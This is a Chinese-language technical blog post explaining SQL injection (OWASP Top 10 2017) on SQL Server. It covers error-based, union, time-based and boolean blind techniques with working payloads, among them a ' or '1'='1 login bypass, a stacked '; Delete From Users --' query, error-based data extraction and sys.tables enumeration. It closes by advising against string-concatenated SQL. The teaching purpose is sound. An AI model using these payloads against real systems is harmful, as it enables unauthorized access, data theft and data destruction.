選單
GSS 技術部落格
在這個園地裡我們將從技術、專案管理、客戶對談面和大家分享我們多年的經驗,希望大家不管是喜歡或是有意見,都可以回饋給我們,讓我們有機會和大家對話並一起成長!
若有任何問題請來信:gss_crm@gss.com.tw
8 分鐘閱讀時間 (1694 個字)

OWASP Top 10 2017 - SQL Injection

unsplash-coding085

 前言

在 OWASP Top 10 - 2017 之中,Injection 還是在排在第一位,可見 Injection 所帶來的影響很大。
本文將跟大家介紹 Explicit / Blind SQL Injection 以及一些 SQL 常見的手法。
首先,先來了解一下 SQL Injection
當 URL 為 http://www.mysite.com/product?id=1 時,
會對應到 SQL 為 SELECT * FROM Product WHERE Id = 1,
當中不信任的資料為 id 的參數值 1。
所以當我們把 URL 改成 http://www.mysite.com/product?id=1 or 1=1
程式如果沒驗證的話,SQL 就會變成 SELECT * FROM Product WHERE Id = 1 or 1=1,  

 SQL 常見手法

 產生錯誤

要讓 SQL 發生錯誤,最簡單的就是將字串轉成 int ,自然就會發生錯誤,例如,

Select Convert(int, 'a'); 

 依序取得 一筆資料

要取得一筆資料可以使用 Top 1 ,而要依序則需要使用 Order ,如下,

Select Top 1 UserID, Email
From Users
Order By Email; 

那如果要取得第2筆資料呢? 改成 Top 2 嗎?

Select Top 2 UserID, Email From Users Order By Email; 

但是 第一筆還是 admin@gss.com.tw 而不是 cindy@gss.com.tw ,
那要如何第一筆才會變成 cindy@gss.com.tw 呢?

就是再把資料反過來排一次。
把上面的 SQL 當成是 Sub-Query 再 Order By Desc 取 Top 1 就可以。

Select Top1 UserID, Email
From (
Select Top 2 UserID, Email
From Users
Order By Email
) T1
Order By Email Desc; 

 SQL Injection 測試

有了上面的 SQL 小技巧,就可以加入 SQL Injection 的測試之中,
而SQL Injection attack 包含 2 種類型

 1.Explicit

1.1.Error-base: 透過錯誤訊息來顯示資料,例如 輸入 ' 後,系統直接顯示 SQL 的原生錯誤訊息
1.2.Union-base: 增加額外的資料輸出,例如 登入功能輸入 ' or '9' = '9 就可以登入,或是有些查詢功能中,使用 union 加入其他的資料讓它顯示出來

 1.1.Error-base

在測試有沒有 SQL Injection ,通常會輸入一個單引號,來看看它會不會出現錯誤,如下,

 1.2.Union-base

從上面所發生出來的錯誤訊息可以得知,它的登入 SQL 為 SELECT * FROM Users Where Email = '{email}' and Password = '{password}' Order By Email Desc
會有 SQL Injection 的問題,所以我們可以調整的 SQL 如下,

SELECT * FROM Users Where Email = '{email}'
and Password = '這裡是我們可以Hack的地方'
Order By Email Desc 

所以要如何讓不知密碼也可以通過 Query 呢?

SELECT * FROM Users Where Email = '{email}'
and Password = '' or ''=''
Order By Email Desc 

所以 Password 欄位可以使用 ' or ''=' 或是 ' or '1'='1 等.

當然,也可以串一些 insert , update & delete 的 SQL ,例如,

SELECT * FROM Users Where Email = '{email}'
and Password = ''; Delete From Users --'
Order By Email Desc 

 1.1.Error-base (Advance)

因為程式會將原生的錯誤訊息顯示出來,所以可以利用這種方式來取出我們想要的資料,
例如要取得 Email ,則可以依上面的 SQL ,再將它轉成 int 就可以順著錯誤訊息來讓我們知道了,如下,

SELECT * FROM Users
Where Email = 'rm@gss.com.tw'
and Password = '' +
CONVERT(INT, '[' + (SELECT Top 1 A2.Email
From (
SELECT Top 2 A1.Email
FROM Users A1
Order By A1.Email ) A2
Order By A2.Email Desc) + ']')
--' 

 2.Implicit(Blind)

2.1.Time-base: 依輸入資料而花費等待時間才輸出結果, 例如 輸入 WaitFor Delay '00:00:10' 則會多花費 10 秒
2.2.Boolean-base: 依輸入的資料給出不同的輸出結果,例如 輸入 A 會發生錯誤,輸入 B 則正常

前面的範例是很明確讓我們知道它有 SQL Injection 的問題,有些狀況下,雖然它有 SQL Injection 的問題,但它只會跳到錯誤處理畫面去,會讓我們不知是不是 SQL Injection 的問題,這種就叫作 Blind SQL Injection 。
例如系統的 URL 為 Product/Detail?ProductID=13&orderBy=UserID
會正常的顯示資料,但如果將 UserID 改成 UserIX ,則會發生錯誤。

所以可以假設它的 SQL 為 

SELECT * FROM Votes
Where ProductID = 13
Order By UserID 

當 UserID 改成 UserIX 就會發生錯誤。因為 SQL 就會變成如下,

因為排序欄位錯誤,只是我們無法看到明確的錯誤訊息,所以只能用猜的。
為了更清楚是否有 SQL Injection 的問題,可以再把 URL 改成 Product/Detail?ProductID=13&orderBy=UserID,2
這時程式可以正常運作,但如果將它改成 roduct/Detail?ProductID=13&orderBy=UserID,a ,則會發生錯誤。
這表示 SQL 分別為,

SELECT * FROM Votes
Where ProductID = 13
Order By UserID,2

SELECT * FROM Votes
Where ProductID = 13
Order By UserID,a 

 2.1.Blind SQL Injection - Time-base

要測試它是否有 SQL Injection 的問題,就可以在 URL 後再加入 WaitFor Delay ,如下,
Product/Detail?ProductID=13&orderBy=UserID;WaitFor Delay '00:00:05';–
系統的執行時間也跟著增加 5 秒,那它就有 SQL Injection 的問題。

知道它有 SQL Injection 的問題,所以後面就可以再組一些 SQL 去讓它執行。

 2.2.Blind SQL Injection - Boolean-base

即然知道它是 Blind SQL Injection ,所以可以透過程式會不會出錯來達到用猜的方式來猜出資料,
例如假設我們要查詢資料庫中的資料表名稱,則可以透過 Case When (要猜的SQL) Then 1 Else (出錯的SQL) End 的方式來達到。

SELECT * FROM Votes
Where ProductID = 13
Order By UserID
,
case when (SELECT Top 1 substring(A2.name, 1, 1)
From (
SELECT Top 1 A1.name
FROM sys.tables A1
Order By A1.name ) A2
Order By A2.name Desc) = 'p'
then 1
else convert(int, 'x') end; 

而URL則為 Product/Detail?ProductID=13&orderBy=UserID, case when (SELECT Top 1 substring(A2.name, 1, 1) From ( SELECT Top 1 A1.name FROM sys.tables A1 Order By A1.name ) A2 Order By A2.name Desc) = 'p' then 1 else convert(int, 'x') end;
如果第一個資料表名字的第一個字母為 p 就不會錯誤,不對的話,就會發生錯誤。
它的比對邏輯蠻簡單的,所以通常可以透過程式來測試,如果猜對了,程式就不會出錯,猜錯了,程式就會發生錯誤,最後就可以將所需要的資料全都猜出來。

 結論

以上透過簡單的範例說明,介紹了如何透過 Error 來顯示錯誤的資訊,及 Blind SQL Injection 透過用猜的方式來取得我們要的資訊。 如果再加以組合之後,更可以猜出資料庫的 Database Name, Table Name, Column Name ,然後透過 Error 的方式來將 Table 的資料顯示出來。 系統的需求很多種,所以在存取資料庫時,請注意 SQL Script 請勿使用串接字串及串接參數值的方式。

 參考資料

每日小知識#1 - Docker 命名的由來
[C#] 客製 Attribute

相關文章

 

評論

尚無評論
已經注冊了? 這裡登入
Guest
2024/05/07, 週二

Captcha 圖像